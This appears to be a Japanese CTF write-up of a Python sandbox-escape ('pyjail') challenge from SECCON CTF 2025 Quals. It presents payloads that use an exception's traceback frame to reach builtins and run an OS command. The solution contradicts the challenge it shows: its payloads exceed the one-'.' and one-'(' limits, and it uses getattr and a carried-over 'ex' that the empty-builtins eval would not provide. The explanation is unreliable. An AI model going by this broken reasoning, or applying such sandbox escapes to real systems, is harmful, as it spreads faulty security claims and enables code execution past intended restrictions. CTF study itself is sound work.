SECCON CTF 2025 Quals - excepython
Challenge
特定の文字の使用回数が制限された pyjail。
import sys
code = input()
# 各文字の使用制限# '.' は1回のみ# '(' は1回のみ# '+' は1回のみ
for char, limit in [('.', 1), ('(', 1), ('+', 1)]: if code.count(char) > limit: print(f"Too many '{char}'") exit()
# 複数回の試行が可能、例外は持ち越されるtry: eval(code, {'__builtins__': {}})except Exception as ex: passSolution
例外の持ち越し
複数回の試行が可能で、例外オブジェクトは変数 ex に保持される。これを利用して段階的に攻撃:
ステップ1: 例外を発生させてフレームを取得
# 最初の入力[][0] # IndexError が発生、ex に保存ステップ2: traceback からフレームへ
# 2回目の入力ex.__traceback__.tb_frame.f_builtinsステップ3: コード実行
# 3回目の入力ex.__traceback__.tb_frame.f_builtins["__import__"]("os").system("id")文字制限への対応
. は1回しか使えないため、getattr を活用:
# ドットの代わりに getattrgetattr(ex, "__traceback__")Technical Details
例外オブジェクトの寿命
try: 1/0except Exception as e: pass
# except ブロックを抜けると e は削除される# ただしグローバル変数に代入すれば保持可能KeyError による値の持ち越し
# KeyError のメッセージに任意の値を含められる{}[some_value] # KeyError: some_value文字制限のバイパス
| 制限文字 | 代替手段 |
|---|---|
. | getattr(obj, 'attr') |
( | 事前準備 + 後の呼び出し |
+ | str.join() |
Alternative Solutions
別解1: walrus 演算子
[x := getattr, x(ex, "__traceback__")]別解2: __class_getitem__
list[ex.__traceback__] # 一部のケースで使用可能Flag
SECCON{...}
References
- SECCON CTF 2025 Quals Official
- https://jia.je/ctf-writeups/2025-12-13-seccon-ctf-2025-quals/excepython.html